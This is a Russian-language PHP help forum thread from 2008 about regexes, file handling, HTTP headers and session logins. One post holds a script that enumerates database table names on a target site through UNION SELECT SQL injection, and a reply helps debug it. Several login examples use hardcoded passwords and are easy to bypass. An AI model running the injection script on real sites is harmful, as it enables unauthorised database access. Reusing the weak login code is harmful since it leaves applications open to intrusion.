А дайте ссылки где можно почитать про preg_match, чтоб доступно было???? очобенно про '/<a.* href="(.*)"{0,1}>(.*)<\/a>/iU'???????????

groundhog
13.05.2008, 17:42
http://www.php.net/manual/ru/index.php

LolFEm
13.05.2008, 17:42
А дайте ссылки где можно почитать про preg_match, чтоб доступно было???? очобенно про '/<a.* href="(.*)"{0,1}>(.*)<\/a>/iU'???????????

это надо про регулярки читать

http://www.phpfaq.ru/regexp

На100ящий
13.05.2008, 18:10
А если строка содержит несколько "<a href="http://8">Привет</a>", то как написать регулярку??? Потому что выводит первую встречную <a href, а мне надо или вторую или третью!!!????

GreenBear
13.05.2008, 18:13
а циклом прогани и все

d_x
13.05.2008, 18:14
<?php
$str="<a href=\"http://8\">Привет</a><a href=\"http://8\">Привет2</a> bla bla \r\n <a href=\"http://8\">Привет3</a>";

preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$str,$m);

foreach($m[2] as $s)
{
print $s.'<br>';
}
?>

bomber
13.05.2008, 19:43
<?php
$fp = fopen('file.txt', 'r');
$w = fopen('file_result.txt', 'a+');
while(!feof($fp))
{
$str = fgets ($fp, 1024);
if (trim($str) != '') {
list($a, $b) = explode('|', $str);
fwrite($w, $a."|".$b."\n");
}
}
fclose($fp);
fclose($w);
?>

хм, пустые строки все равно остаются :confused:

groundhog
13.05.2008, 19:52
<?php
$fp = fopen('file.txt', 'r');
$w = fopen('file_result.txt', 'a+');
while(!feof($fp))
{
$str = fgets ($fp, 1024);
if (trim($str) != '') {
list($a, $b) = explode('|', $str);
fwrite($w, trim($a)."|".trim($b)."\n");
}
}
fclose($fp);
fclose($w);
?>
Так точно не будет.

Isis
13.05.2008, 21:36
if (trim($str) != '')
пиздец.......

groundhog
13.05.2008, 22:09
пиздец.......
Это не аргумент...

bomber
13.05.2008, 22:22
<?php
$fp = fopen('file.txt', 'r');
$w = fopen('file_result.txt', 'a+');
while(!feof($fp))
{
$str = fgets ($fp, 1024);
if (trim($str) != '') {
list($a, $b) = explode('|', $str);
fwrite($w, trim($a)."|".trim($b)."\n");
}
}
fclose($fp);
fclose($w);
?>
Так точно не будет.

спасибо парни, чтоб я без вас делал :D

GreenBear
13.05.2008, 22:41
if (trim($str) != '')
пиздец.......
нуко теперь расказывай как правильно надо кодировать.

Isis
13.05.2008, 23:35
if (!empty($str))

KindEcstasy
13.05.2008, 23:55
Итак, вопрос к гуру 80ого порта:

Какие поля в заголовке который отправляет (должен отправить) клиент, основные и самые важные. Что обязательно нужно скормить серверу, чтобы получить вменяемый заголовок-ответ? Мм? Только не нужно говорить что все, которые ты видишь в HTTP анализире ))) Полюбому они там все не нужны... Или я чёто не понимаю? Жду грамотного ответа!

pento
14.05.2008, 00:12
if (!empty($str))
Можно сократить до

if ($str) {
// ...
}

d_x
14.05.2008, 00:18
Что обязательно нужно скормить серверу, чтобы получить вменяемый заголовок-ответ?

По минимуму нужно отправить заголовки Host и Connection.

PS. Проверил на mail.ru :)

groundhog
14.05.2008, 11:29
KindEcstasy, всё зависит от типа HTTP-запроса (GET, POST, HEAD, ...). Вообще для GET-запроса, как уже ответили минимально необходимы заголовки Connection и Host (чтобы определить к какому виртуальному хосту был осуществлён запрос). Для POST-запроса, минимально необходимы заголовки Connection, Host и Content-Length, но опять же - всё зависит от факторов, и того, что и как ты запрашиваешь.

groundhog
14.05.2008, 11:37
Isis, ну выебнулся так выебнулся... Ты обратил внимание, что я написал выражение с участием функции trim:

if (trim($str) != '')

Перевожу: ЕСЛИ ПОСЛЕ УДАЛЕНИЯ ПРОБЕЛЬНЫХ СИМВОЛОВ ИЗ СТРОКИ, СТРОКА ОСТАЛАСЬ НЕ ПУСТА, ТО ВЫПОЛНИТЬ ВЫРАЖЕНИЕ

if (!empty($str))

У тебя же это банально: ЕСЛИ СТРОКА НЕ ПУСТА, ТО ВЫПОЛНИТЬ ВЫРАЖЕНИЕ

В общем начинай освоение PHP c простых вещей, вроде:

$var = "\r\n";
var_dump(empty($var));

а потом будешь пиздецами кидаться...

GreenBear
14.05.2008, 15:25
if (!empty($str))
хорошо. ты мой эталон.

ElteRUS
14.05.2008, 22:43
Для POST-запроса, минимально необходимы заголовки Connection, Host и Content-Length, но опять же - всё зависит от факторов, и того, что и как ты запрашиваешь.

Еще если я не ошибаюсь обязательно нужно указать тип контента - Content-Type: application/x-www-form-urlencoded или multipart/form-data ...

На100ящий
15.05.2008, 10:18
А как считывать файл построчно, чтоб цыкл закончился вместе с концом файла????
или есть у кого код чтоб перебирать столбцы или колонки в Mysql&&&

-=lebed=-
15.05.2008, 11:32
А как считывать файл построчно, чтоб цыкл закончился вместе с концом файла????
или есть у кого код чтоб перебирать столбцы или колонки в Mysql&&&


$fd = fopen("file_name", "r");
if(!$fd)
{
echo "Нет файла по указанному пути";
}
else
{
while(!feof($fd))
{
$stroka = str_replace("\r\n","", fgets($fd));
add_data($stroka); // заносим строку в таблицу (функция add_data - пользовательская)
}

}
fclose($fd);

На100ящий
16.05.2008, 17:17
Подскажите где ошибка, вроде всё правильно, но не находит существующие столбцы в MYSQL!
<?
@set_time_limit(0);
$strverno=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from +pro.users+limit+1,1/*");
preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$strverno,$m);
foreach($m[2] as $s){
}
$fd = fopen("kol.txt", "r");
while(!feof($fd)) {
$ma=trim(fgets($fd));
$str=file_get_contents("site/index.php?id=1+UNION+SELECT+1,2,3,4,5,6,7,8,9+from +pro.".$ma."+limit+1,1/*");
preg_match_all("/<a href=\"(.+)\">(.+)<\/a>/isU",$str,$p);
foreach($p[2] as $k){
}

if($s==$k){
echo "ok, exist";

}
else {
echo "error";

}
}
fclose($fd);
?>

Корвин
16.05.2008, 17:56
foreach($m[2] as $s){
}

foreach($p[2] as $k){
}





а это так и должно быть что цикл открылся и сразу закрылся, не выполняя никаких действий??

max_rebel
16.05.2008, 19:53
Привет всем
Подскажите пожалуйста как разместить <?php include("footer.inc");?> именно внизу страницы независимо от того сколько всякого на странице уже размещено - т.е. так чтоб футер всегд был только внизу страницы
спасибо

GreenBear
16.05.2008, 20:37
в самый конец кода вставляй....

На100ящий
16.05.2008, 21:09
Корвин
Да, цыкл возвращает $k=4, тоесть раскрутка масива и получение значения!

Buffalon
16.05.2008, 23:15
Плиз дайте хорошую ссылку про то 'Как обезопасить свой код (РHP+Mysql)' короче наверн поняли.. .

Red_Red1
16.05.2008, 23:22
2 Buffalon
http://bvisoft.com/reads/263.php
Вот почитай, используя mysqli можеш забыть про СКЛ-инъекты
А вот общее по безопасности, мне понравилось ;)
http://www.1c-bitrix.ru/security/recommendations.php

Zircool
17.05.2008, 03:24
Как осуществить авторизацию к определенным скриптам, на прямой доступ к скрипту что бы тебя отправляли на форму авторизации... Без использования .htpassw именно php скрипт... Приведите пож короткий пример, выжная часть вопроса, это как запретить доступ к опред скриптам...

[504]
17.05.2008, 04:27
например так:
В каждом скрипте пишем(или же пишем в одном отдельном файле, на котором потом include поставить)
Смотрим авторизован ли юзер(смотря посредством чего идет авторизация, у меня пример проверки сессии):

<?
session_start();
if (!isset($_SESSION['login'])){
echo "Доступ запрещен. Авторизуйтесь";
exit;
}else{
//Тут можем сделать запрос в базу
//Посмотреть имеет ли данный юзер доступ к скрипту
//Естесственно, должна быть соответ. база
}
//далее сам скрипт
?>

GreenBear
17.05.2008, 04:41
а зачем тут елсе?

[504]
17.05.2008, 04:48
У меня вопрос.
ООП в пхп. У меня прописаны классы для работы с MySQL.
Есть функции которые выполняют определенные действия и внутри себя обращаются к классам....
На денвере все нормально работало, но хостинге выскакивали ошибки, типа не возможен доступ к объекту на линии такой-то. Хотя обращался я к классу до функции($con = new MySQLconn(); ), и в самой функции естественно кидал эту переменную в GLOBAL $con .. далее обращение к экземпляру класса $result=$con->createResult($string); Собсвтенно это и вызывало ошибку.

Тут подумал что это не совсем правильно, и надо убрать все функции и сделать классы которые были бы exception(наследованием) класса MySQL
Стоит ли? Ведь это приводит к усложнению скрипта и времени разработки.
Возможно есть какой-нибудь компромис?

astrologer
17.05.2008, 11:57
убрать все функции и сделать классы которые были бы exception(наследованием) класса MySQL
Убрать все функции и сделать все классы потомками класса для работы с БД - что-то тут определённо не так.

exception - это "исключение".

BlackSun
17.05.2008, 12:52
Плиз дайте хорошую ссылку про то 'Как обезопасить свой код (РHP+Mysql)' короче наверн поняли.. .
http://www.php.su/security/
+ моск))

Zircool
18.05.2008, 01:04
Проблема с написанием авторизации... есть скрипт login.php


<form method="POST">
<br/>
&nbsp; &nbsp; &nbsp; Login:<input type="text" name="log" title="Введите login" value="">
<br/>
<br />
Password:<input type="text" name="passwd" title="Введите password" value="">
<br/>
<br />
&nbsp; &nbsp; &nbsp; <input type="submit" name="sub" value=" Go! " />
<br/>
<br/>
</form>
<?php


$password="1";
$login="1";
if(isset($_POST['sub']))
{
$inputlogin=$_POST['log'];
$inputpassword=$_POST['passwd'];
$inputlogin=trim($inputlogin);
$inputpassword=trim($inputpassword);

if($inputpassword==$password && $inputlogin==$login)
{
print ("<script>document.location='admin.php';</script>\r\n");

}
else
{
echo "<font color=Red>Неправильный пароль</font>";
}
}


?>


И есть скрипт admin.php, к которому и нужно открыть доступ через Login.php и сделать запрет на прямой доступ к скриту... Каким образом запретить прямой доступ к скрипту admin.php и при прямом доступе отправлять пользователя на линк авторизации..

vizard-06
18.05.2008, 01:55
Zircool создавай в login.php сессию а в admin.php проверяй на существование её :)

Zircool
18.05.2008, 02:05
vizard-06 Пример можно для моего случая...

vizard-06
18.05.2008, 02:19
login.php

<?session_start();?>
<form method="POST">
<br/>
&nbsp; &nbsp; &nbsp; Login:<input type="text" name="log" title="Введите login" value="">
<br/>
<br />
Password:<input type="text" name="passwd" title="Введите password" value="">
<br/>
<br />
&nbsp; &nbsp; &nbsp; <input type="submit" name="sub" value=" Go! " />
<br/>
<br/>
</form>
<?php


$password="1";
$login="1";
if(isset($_POST['sub']))
{
$inputlogin=$_POST['log'];
$inputpassword=$_POST['passwd'];
$inputlogin=trim($inputlogin);
$inputpassword=trim($inputpassword);

if($inputpassword==$password && $inputlogin==$login)
{
$_SESSION['aut'] = true;
print ("<script>document.location='admin.php';</script>\r\n");

}
else
{
echo "<font color=Red>Неправильный пароль</font>";
}
}


?>



admin.php

<?session_start();
if(!isset($_SESSION['aut'])) exit('Доступ запрещён');
echo 'авторизован!';
//дальше исходник....
?>

Isis
18.05.2008, 02:53
Настолько тупо делать так:
if(!isset($_SESSION['aut'])) exit('Доступ запрещён');

зачем пользователю знать что выводит файл

Лучше просто
if(isset($_SESSION['aut']))
{
//code
}


И все =\

и все =э

vizard-06
18.05.2008, 03:00
Isis тут даже не пользователя а скорее воткнуть человеку что да как, куда %) чтоб более понятно было

Isis
18.05.2008, 03:02
Если это админка, зачем ему что-то знать?

vizard-06
18.05.2008, 03:06
ёпт ну если б он знал как делать он бы не спрашивал......вобще как ему нужно сделать он разберётся думаю дальше, я ради примера выложил

Isis
18.05.2008, 03:07
Без "епт" , ога?
Я предложил лучший пример, насчет вывода ошибки он ничего не сказал

Zircool
18.05.2008, 03:52
Не работает авторизация... Вводишь нужный логин и пароль а в ответ получаешь страницу которая должна выводиться при прямом доступе к странице... и вылетает ошибка


Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at F:\home\test1.ru\www\admins.php:9) in F:\home\test1.ru\www\admins.php on line 12



В чем может быть проблема?

login.php


<?
error_reporting (0);
session_start();
print '<form method="POST">';
print '<br/>';
print '&nbsp; &nbsp; &nbsp; Login:<input type="text" name="log" title="Введите login" value="">';
print '<br/>';
print '<br />';
print 'Password:<input type="text" name="passwd" title="Введите password" value="">';
print '<br/>';
print '<br />';
print '&nbsp; &nbsp; &nbsp; <input type="submit" name="sub" value=" Go! " />';
print '<br/>';
print '<br/>';
print '</form>';
$password="1";
$login="1";
if(isset($_POST['sub']))
{
$inputlogin=$_POST['log'];
$inputpassword=$_POST['passwd'];
$inputlogin=trim($inputlogin);
$inputpassword=trim($inputpassword);

if($inputpassword==$password && $inputlogin==$login)
{
$_SESSION['aut'] = TRUE;
print ("<script>document.location='admin.php';</script>\r\n");

}
else
{
echo "<font color=Red>Неправильный пароль</font>";
}
}


?>



admin.php



session_start();
if(isset($_SESSION['aut']))
{
print "пашет";

}
else
{
print " не пашет";
}


В ответ получаю "не пашет"

!{ra!{e/\/
18.05.2008, 09:52
Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at F:\home\test1.ru\www\admins.php:9) in F:\home\test1.ru\www\admins.php on line 12

Такая ошибка бывает когда функции header(), setcookie() или session_start() используют где-нибудь в середине страницы. Все эти функции должны использоваться перед любым выводом html

Видно ты код admin.php просто срезал из основного кода.У меня скрипт работает и выдает "пашет".

VDShark
18.05.2008, 10:15
Такая ошибка бывает когда функции header(), setcookie() или session_start() используют где-нибудь в середине страницы. Все эти функции должны использоваться перед любым выводом html


Я б даже уточнил - такая ошибка бывает когда все http-заголовки уже отосланы, и началась отсылка "тела".
Впринципе можно использовать и в середине, и где хочешь - но только тогда буферизацию использовать необходимо...
Но Zircool'у я думаю лучше пойти по пути наименьшего сопротивления, и более логичного кода :)

.:EnoT:.
18.05.2008, 14:22
Ну вы даёте))
2 Isis
if(isset($_SESSION['aut']))
{
//code
}

Если $_SESSION = ''; то это условие вернёт true, лучше использовать !empty()
2 Zircool В теге input нет параметра title.
по сабжу я бы сделал так:
В файл admin.php инклудится login.php. Там производится проверка. Если сессия существует и равна нужной, то пускает в админку. если нет, то выводит форму. Заходить можно как на файл admin.php так и на файл login.php.
Вот код (проверил, всё работает)

login.php

<?php
session_start();
$form = <<<FORM
<form method="post">
<br/>
&nbsp; &nbsp; &nbsp; Login:<input type="text" name="log" />
<br/>
<br />
Password:<input type="password" name="passwd" />
<br/>
<br />
&nbsp; &nbsp; &nbsp; <input type="submit" name="sub" value="Go!" />
<br/>
<br/>
</form>
FORM;

$password = '1';
$login = '1';
if(isset($_POST['sub']))
{
$inputlogin = !empty($_POST['log']) ? trim($_POST['log']) : '';
$inputpassword = !empty($_POST['passwd']) ? trim($_POST['passwd']) : '';

if($inputpassword == $password && $inputlogin == $login)
{
$_SESSION['aut'] = md5($login.$password);
header('location: admin.php');
}
else
{
echo '<font color="Red">Неправильный пароль</font><br />'.$form;
}
}
elseif($_SESSION['aut'] == md5($login.$password))
{
define('ADMIN', true);
}
else
{
echo $form;
}

?>

admin.php

<?php
require_once('login.php');
if(!defined('ADMIN')) exit();

echo 'Админка';
?>

можно и упростить, но имхо так вполне нормально

vizard-06
19.05.2008, 02:27
2 .:EnoT:. зачем в сессию писать ещё значения потом их ещё раз перепроверять?! если логин и пароль совпал то создаётся просто сессия, а в admin.php проверяем уже на существование


if(isset($_SESSION['aut']))
{
//code
}

astrologer
19.05.2008, 02:53
2 Zircool В теге input нет параметра title.Параметр title разрешён у всех тегов, кроме: html, head, title, meta, base, basefont, script и param.

Doom123
19.05.2008, 02:53
.:EnoT:

Глупости) ведь сессию ты создаёш а не дядя=) поэтому пустого значения быть не могёт)

.:EnoT:.
19.05.2008, 03:00
2 .:EnoT:. зачем в сессию писать ещё значения потом их ещё раз перепроверять?! если логин и пароль совпал то создаётся просто сессия, а в admin.php проверяем уже на существование


if(isset($_SESSION['aut']))
{
//code
}

Ога, после такого кода ты можешь прыгать от радости, потому что в твою админку может завалиться любой баклан))
В данному случае я могу прописать в id сессии всё что угодно и попаду в админку. Поэтому при использовании авторизаций на сессиях необходимо объявлять какой-либо идентификатор.
Например можно так:
<?php
session_start();
$_SESSION['aut'] = session_id();

#admin.php
if(!empty($_SESSION['aut']) && $_SESSION['aut'] != session_id()) exit();
?>
Пример не супер, но я думаю наглядно.
В моём примере я в массив $_SESSION записал хеш логина и пароля (можно всё что угодно). Так же можно использовать имя сессии (session_name()).
И запомни что проверка всех данных идущих от пользователя нужна обязательно, иначе твоему движку можно колотить гроб и звать оркестр))

добавлено:
2 astrologer
http://htmlbook.ru/html/input.html
у инпута нет параметра титл. или докажи обратное описав значение этого параметра для тега инпут))

2 Doom123

Глупости) ведь сессию ты создаёш а не дядя=) поэтому пустого значения быть не могёт)
При вызове функции session_start() (а она у нас создаётся в самом начале скрипта) в твои куки пишется ид сессии. Открываем оперу и редачим её.
Тут ещё раз повторяется пример для vizard-06. Вписав в ид сесии любую херню, код:
if(isset($_SESSION['aut']))
{
//code
}
вернёт true и пустит в админку))

Doom123
19.05.2008, 03:07
В данному случае я могу прописать в id сессии всё что угодно и попаду в админку

причём тут ид сессии и её значения..?

я туплю? или ты?))

сессии работают так:

создаются файл в хранилише сессии ... файл с именем ид сессии а значения сессии в этом файле....
пишется ид сессии чтоб можно было найти файл со значениями... то что ты возьмёш и измениш ид ничего не даст... это будет не существуюшия сессия!
Смотри:
<?php
session_start();
$_SESSION['aut'] = session_id();
echo $_SESSION['aut'];
?>
открывай страницу с этим кодом, покажется твой ид сессии. Теперь лезешь в оперу (ну или в мозилу с плагином работы с куки). Ищешь куку для своего домена с именем PHPSESSID жмякаешь изменить и меняешь на что хочешь...перезагружаешь страницу и видишь ту херню которую вписал))
Вот так же можно вписать туда всякую херь и выше упомянутый код пустит в админку так как по условию она существует. А что в ней за данные не проверяются))

ну и если ты прав (хотя не верится) то можно сделать так ..


<?php
session_start();
if(!isset($_SESSION['group']) || $_SESSION['group'] !== 'admin')
{
$_SESSION['group'] = 'user';
}

авторизация....

$_SESSION['group'] = 'admin';

if($_SESSION['group'] === 'admin')
{
go...
}

.:EnoT:.
19.05.2008, 03:19
2 Doom123

Смотри:
<?php
session_start();
$_SESSION['aut'] = session_id();
echo $_SESSION['aut'];
?>
открывай страницу с этим кодом, покажется твой ид сессии. Теперь лезешь в оперу (ну или в мозилу с плагином работы с куки). Ищешь куку для своего домена с именем PHPSESSID жмякаешь изменить и меняешь на что хочешь...перезагружаешь страницу и видишь ту херню которую вписал))
Вот так же можно вписать туда всякую херь и выше упомянутый код пустит в админку так как по условию она существует. А что в ней за данные не проверяются))

Doom123
19.05.2008, 03:22
Но у него ведь $_SESSION['aut'] выставляется только тогда када успешно прошёл аунтефикацию!!! и фсё!

и то что ты делаеш не поможет

Doom123
19.05.2008, 03:26
попробуй написать скрипт

session_start();
if($_GET['tes'] === '123)
{
$_SESSION['aut'] = 'admin';
}
if (isset($_SESSION['aut']))
{
go...
}


обойди это твоим методом...

почему кавычка вырезалась?)

vizard-06
19.05.2008, 04:09
2 Doom123

Смотри:
<?php
session_start();
$_SESSION['aut'] = session_id();
echo $_SESSION['aut'];
?>
открывай страницу с этим кодом, покажется твой ид сессии. Теперь лезешь в оперу (ну или в мозилу с плагином работы с куки). Ищешь куку для своего домена с именем PHPSESSID жмякаешь изменить и меняешь на что хочешь...перезагружаешь страницу и видишь ту херню которую вписал))
Вот так же можно вписать туда всякую херь и выше упомянутый код пустит в админку так как по условию она существует. А что в ней за данные не проверяются))

как ты применишь значение сессии извне если значение присвоено скриптом $_SESSION['aut'] = true; вместо true можно присвоить значение 1 например.... главное что сессия создалась, доступа к ней нет, и не кто кроме скрипта не сможет её создать, если будут именно такие значения, а в другом скрпте просто проверять создана ли сессия или нет

login.php

session_start();
$bla='1';
if($_GET['us'] == $bla) $_SESSION['aut'] = true;


admin.php

session_start();
if(isset($_SESSION['aut'])) {
//прошёл
}

попробуй обойти создав сссию извне

D0S
19.05.2008, 18:46
Нид хелп!
Имеется страница с таким хтмл кодом
<a href="http://rapidshare.com/files/116016278/Activator_And_Zatox_-_Still_Drunk__Freedom-Vinyl-2008-QMI.rar">Activator_And_Zatox_-_Still_Drunk__Freedom-Vinyl-2008-QMI</a>
<a href="http://rapidshare.com/files/116015521/Vetka_Feat_Mr_Eyez_-_Eardrums-Vinyl-2008-QMI.rar">Vetka_Feat_Mr_Eyez_-_Eardrums-Vinyl-2008-QMI</a>
Вопрос как мне выдрать линки :( http://rapidshare.com/files/116016278/Activator_And_Zatox_-_Still_Drunk__Freedom-Vinyl-2008-QMI.rar
http://rapidshare.com/files/116015521/Vetka_Feat_Mr_Eyez_-_Eardrums-Vinyl-2008-QMI.rar

Isis
19.05.2008, 19:10
D0S,

<?php
$link = '<a href="http://rapidshare.com/files/116016278/Activator_And_Zatox_-_Still_Drunk__Freedom-Vinyl-2008-QMI.rar">Activator_And_Zatox_-_Still_Drunk__Freedom-Vinyl-2008-QMI</a>
<a href="http://rapidshare.com/files/116015521/Vetka_Feat_Mr_Eyez_-_Eardrums-Vinyl-2008-QMI.rar">Vetka_Feat_Mr_Eyez_-_Eardrums-Vinyl-2008-QMI</a> ';

preg_match_all('#<a href="(.*?)">.*?</a>#', $link, $out);
foreach($out['0'] as $value)
{
echo $value.'<br/>';
}
?>

D0S
19.05.2008, 19:49
2Isis
Выводятся названия, а не линки.

astrologer
19.05.2008, 19:52
<?php
$link = '<a href="http://rapidshare.com/files/116016278/Activator_And_Zatox_-_Still_Drunk__Freedom-Vinyl-2008-QMI.rar">Activator_And_Zatox_-_Still_Drunk__Freedom-Vinyl-2008-QMI</a>
<a href="http://rapidshare.com/files/116015521/Vetka_Feat_Mr_Eyez_-_Eardrums-Vinyl-2008-QMI.rar">Vetka_Feat_Mr_Eyez_-_Eardrums-Vinyl-2008-QMI</a> ';

preg_match_all('#<a href="(.*?)">.*?</a>#', $link, $out);
// foreach($out['0'] as $value)
foreach($out[1] as $value)
{
echo $value.'<br/>';
}
?>

coo1io
20.05.2008, 18:30
Tеперь используя ерроровский скрипт для проверки на инвиз выбивает :
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


Статус номера ****** > OFFLINE

проверка на inviz.su


3делайте пожалуйста скрипт так чтобы не было: "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


проверка на inviz.su




исходник:
<form method=POST name="check">
<b>Icq</b><BR>
<input style="width: 90px;" size=39 name=icq value="" maxlength=11><BR><BR>
<input value="проверить" type="submit" style="width: 90px;">
</form>
<BR>
<?php
if (isset($_POST['icq']))
{
$icq = $_POST['icq'];
$icq = ereg_replace("-","",$icq);
$out=file_get_contents('http://inviz.su/?uin='.($icq));
$out = ereg_replace("\n","<br>",$out);
print "$out";
}
?>
заранее благодарен

FeraS
20.05.2008, 18:36
coo1io
Этот текст выводится из скрипта на inviz.su, к которому, естественно, открытого доступа нет, так что довольствуйся этим

coo1io
20.05.2008, 18:38
FeraS
нет на сайте never-mind.ru человек использует етот скрипт и сам его исправил!
на inviz.su нету же такой штуки!
можна наверно в скрипте зделать так чтобы ето не отображалось

Kaimi
20.05.2008, 18:38
В таком виде сойдет?

<form method=POST name="check">
<b>Icq</b><BR>
<input style="width: 90px;" size=39 name=icq value="" maxlength=11><BR><BR>
<input value="проверить" type="submit" style="width: 90px;">
</form>
<BR>
<?php
if (isset($_POST['icq']))
{
$icq = $_POST['icq'];
$icq = ereg_replace("-","",$icq);
$out=file_get_contents('http://inviz.su/?uin='.($icq));
$out = ereg_replace("\n","<br>",$out);
preg_match('/Статус номера(.*?)</',$out,$out);

print $out[1];
}
?>

coo1io
20.05.2008, 18:44
Kaimi
нужно чтобы очталось в таком виде
Статус номера ****** > Online-Home (duck)
*- Дата регистрации: 30.03.1997 17:17:00
*- Время в сети: 2 h, 55 m, 18 s
*- Подключен: 20.05.2008 11:48:10

Kaimi
20.05.2008, 19:00
<form method=POST name="check">
<b>Icq</b><BR>
<input style="width: 90px;" size=39 name=icq value="" maxlength=11><BR><BR>
<input value="проверить" type="submit" style="width: 90px;">
</form>
<BR>
<?php
if (isset($_POST['icq']))
{
$icq = $_POST['icq'];
$icq = ereg_replace("-","",$icq);
$out=file_get_contents('http://inviz.su/?uin='.($icq));
$out = ereg_replace("\n","<br>",$out);
preg_match('/Статус номера(.*?)</',$out,$st);
preg_match('/<br\/>(.*)<p>/s',$out,$da);

print $st[1]."<br>";
print $da[1];
}
?>

coo1io
20.05.2008, 19:03
все работает Kaimi спасибо

Buffalon
21.05.2008, 21:20
Нужно работать без использоавания массива тоесть работать с буфеером А как то доконца невтыкаю.Задача в след
вообщем 2 файла ставим как линейки ровно вместе и сравниваем
ЗАтем заносим все соответствия в 3 файл... .Затем сдвигаем на 1бит и опять записываем в 3 файл... .Вот с использованием массивов я бы справился) а вот напрямую с буфером прото неработал(...
ПЛИЗ ПОДСКАЖИТЕ

KIR@PRO
21.05.2008, 23:17
подскажите пожалуйста как я могу узнать MAC адрес, ip,рефер и Браузер того кто зашел на мою страничку в локалке......

и как сгенерировать картинку допустим с надписью его ip?

emik
21.05.2008, 23:36
$H=getenv("HTTP_REFERER"); // получает URL, с которого пришёл посетитель

$U=getenv("HTTP_USER_AGENT"); // получаем данные о софте, //который испольует пользователь

$R=getenv("REMOTE_ADDR"); // получаем IP посетителя

$W=getenv("REQUEST_URI"); // получаем относительный адрес странички, //которую запросил посетител

вот собствено орыгинал (http://shmidt.net/articles.php?article=7)


по поводу МАС адреса ето конечно.... теоритически возможно через сторонную бублиотеку на С, а ввобще ето будет МАС адрес последнего маршрутизатора. вот кажись что-то в єтом роде http://www.sysman.ru/index.php?showtopic=9639

emik
21.05.2008, 23:39
а...а...а в локалке тогда ничего лутшего чем nmap ( ето сетевой сканер для Linux систем ) ты не наверное не найдеш )))

KIR@PRO
22.05.2008, 00:35
А ВОТ ЕЩЕ подскажи как выролнить камандную строку средствами php?
тока не <? SYSTEM("строка"); ?> а ченить другое...

d_x
22.05.2008, 00:41
system()
exec() (http://ru2.php.net/manual/ru/function.exec.php)
`` (обратные кавычки) (http://ru2.php.net/manual/ru/language.operators.execution.php)
pcntl_exec() (http://ru2.php.net/manual/ru/function.pcntl-exec.php)
passthru() (http://ru2.php.net/manual/ru/function.passthru.php)
popen() (http://ru2.php.net/manual/ru/function.popen.php)

GreenBear
22.05.2008, 01:16
еще proc_open

KIR@PRO
22.05.2008, 09:27
а ктонить подскажет как сделать такое же на своем серваке...
_http://blacksun.fbi.be/xbar/img.png
_http://2ip.ru/bar/ip14.gif
_http://www.danasoft.com/sig/akoles.jpg

я имею ввиду как сгенерировать такой рисунок и дать его клиенту.....

Корвин
22.05.2008, 10:26
http://newage.migtel.ru/index.php?act=ST&f=23&t=4330 тут подробное описалово

lomerok
22.05.2008, 13:48
Почему этот скрипт выдаёт ошибку ?

<?
$text="text-slovo-$bukva";
$a=preg_replace('$',"_",$text,100);
print $a;
?>


Ошибка :

Warning: preg_replace() [function.preg-replace]: No ending delimiter '$' found in C:\xampp\htdocs\sait\tmp\test.php on line 3

lomerok
22.05.2008, 13:54
сам разобрался..надо было написать вотак

<?
$text="text-slovo-%bukva";
$a=preg_replace("/%/i","_",$text,100);
print $a;
?>

d_x
22.05.2008, 14:00
Лучше в таком случае использовать str_replace, проще и быстрее будет работать.

<?
$text="text-slovo-%bukva";
$a=str_replace('%','_',$text,100);
print $a;
?>

Buffalon
22.05.2008, 14:19
lomerok

<?
$text="text-slovo-%bukva";
$a=preg_replace("|%|is","_",$text,100);
print $a;
?>
Лучше ставь s это заставляет неучитывать регистр

d_x
22.05.2008, 14:22
Лучше ставь s это заставляет неучитывать регистр
Модификатор i - не учитывать регистр
Модификатор s:
Если данный модификатор используется, метасимвол "точка" в шаблоне соответствует всем символам, включая перевод строк. Без него - всем, за исключением переводов строк. Этот модификатор эквивалентен записи /s в Perl. Класс символов, построенный на отрицании, например [^a], всегда соответствует переводу строки, независимо от наличия этого модификатора.

Да и при чём тут регистр, если заменяется символ '%', а не буквы?

KIR@PRO
22.05.2008, 14:46
кто подскажет как в апаче подключить php_gd.dll для использования вот этого:
$im = ImageCreate (100,20);
// красный
$red = ImageColorAllocate($im, 255, 0, 0);
// белый
$white = ImageColorAllocate($im, 255, 255, 255);
// черный
$black = ImageColorAllocate($im, 0, 0, 0);

VDShark
22.05.2008, 15:29
кто подскажет как в апаче подключить php_gd.dll для использования вот этого:
Это не в апаче, а в пыхе. Посто в php.ini раскомментируй строку (если она есть), либо добавь (если положил все нужное)

extension=php_gd2.dll

Или php_gd, смотря что там у тя за библиотека, и как она обзывается :)

На100ящий
22.05.2008, 20:31
<?
echo "<input type=\"text\" name=\"reg\" size=\"100\" value=\"\"><h5>Регулярка</h5>"; //сюда нужно вложить это "/<a href=\"(.+)\">(.+)<\/a>/isU"
preg_match_all($_POST[reg],$str,$p);
?>
Ошибка Unknown modifier 'a' in ... как обойти, но нужно через форму!?????

groundhog
22.05.2008, 20:54
Поставь задачу нормально. Написанная ошибка не соотносится с тем, что ты написал.

На100ящий
22.05.2008, 22:16
groundhog,
мне нужно в форму ввода текста ввести регулярное выражение
echo "<input type=\"text\" name=\"reg\" size=\"100\" >"; //вот поле, в него ввожу вот такое регвыражение "/<a href=\"(.+)\">(.+)<\/a>/isU"
после нажатия submit регулярку нужно вывести в документ:
echo $reg; // и вот тут начинаются ошибки...

GreenBear
22.05.2008, 22:23
вообще то = и > тоже надо экранировать

NOmeR1
22.05.2008, 22:25
При отправке данных на форму они экранируются, поэтому регулярка получается с экранированными слешами, а так как там модификатор - слеш, то после открытия регулярки сразу следует закрытие. Короче вот исправленная версия:
<?php
echo '<form method="POST">';
echo '<input type="text" name="reg" size="100" value=""><h5>Регулярка</h5>';
echo '<input type="submit">';
echo '</form>';
$_POST['reg'] or die();
$str = '<a href="asdasd">asdasd</a> <a href="qweqwe">qweqwe</a>';
preg_match_all(stripslashes($_POST['reg']), $str, $p);
print_r($p);
?>

Дикс
23.05.2008, 12:10
как уничтожить обьект класса?
я читал что в пхп5 появился "delete", но он не работает

groundhog
23.05.2008, 12:21
А чем тебе не нравится обычный unset?

astrologer
23.05.2008, 13:20
Понятно, почему не работает: Описание
void delete ( string $file )

